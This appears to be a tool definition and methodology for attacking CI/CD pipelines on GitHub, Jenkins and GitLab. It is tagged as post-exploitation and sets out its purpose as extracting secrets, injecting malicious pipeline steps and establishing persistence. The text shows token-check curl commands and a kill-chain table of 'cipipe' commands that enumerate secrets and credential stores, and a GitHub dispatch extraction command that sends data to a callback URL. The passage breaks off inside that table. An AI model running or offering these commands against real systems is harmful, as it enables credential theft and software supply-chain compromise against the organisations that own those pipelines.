cicd-attacks

name	cicd-attacks
description	CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab
category	post-exploitation
tags	["cicd","github-actions","jenkins","gitlab","pipeline","supply-chain","secret-extraction","credential-access"]
tech_stack	["github","jenkins","gitlab","python","requests"]
cwe_ids	["CWE-522","CWE-693","CWE-829","CWE-284"]
chains_with	["T1195.002","T1552.004","T1059","T1098"]
prerequisites	["T1078"]
version	1.0

CI/CD Pipeline Attack Methodology

CI/CD pipeline attacks target the software delivery infrastructure to extract secrets, inject malicious code, and establish persistence. After gaining access to GitHub, Jenkins, or GitLab, these tools extract stored credentials, inject pipeline steps for secret exfiltration, and manipulate workflow configurations.

Prerequisites

1. CI/CD access — API token, personal access token, or service account credentials
2. Python packages — pip3 install requests
3. API access — Valid token with appropriate scopes (repo, admin, workflow)

# Quick prerequisite check — GitHub
curl -s -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/user | jq .login

# Quick prerequisite check — Jenkins
curl -s -u "$JENKINS_USER:$JENKINS_TOKEN" "$JENKINS_URL/api/json" | jq .nodeDescription

# Quick prerequisite check — GitLab
curl -s -H "Private-Token: $GITLAB_TOKEN" "$GITLAB_URL/api/v4/user" | jq .username

Kill Chain Phases

Phase 1 — Reconnaissance

Action	Command	Purpose
List GitHub secrets	cipipe gh_secrets --repo OWNER/REPO --method list	Enumerate repository and environment secret names
Jenkins credentials	cipipe jenkins_creds --url URL --method api	List credential store entries
GitLab variables	cipipe gitlab_tokens --url URL --project-id ID	Enumerate CI/CD variables and tokens

Phase 2 — Secret Extraction

Action	Command	Purpose
GitHub dispatch	cipipe gh_secrets --repo OWNER/REPO --method dispatch --callback-url URL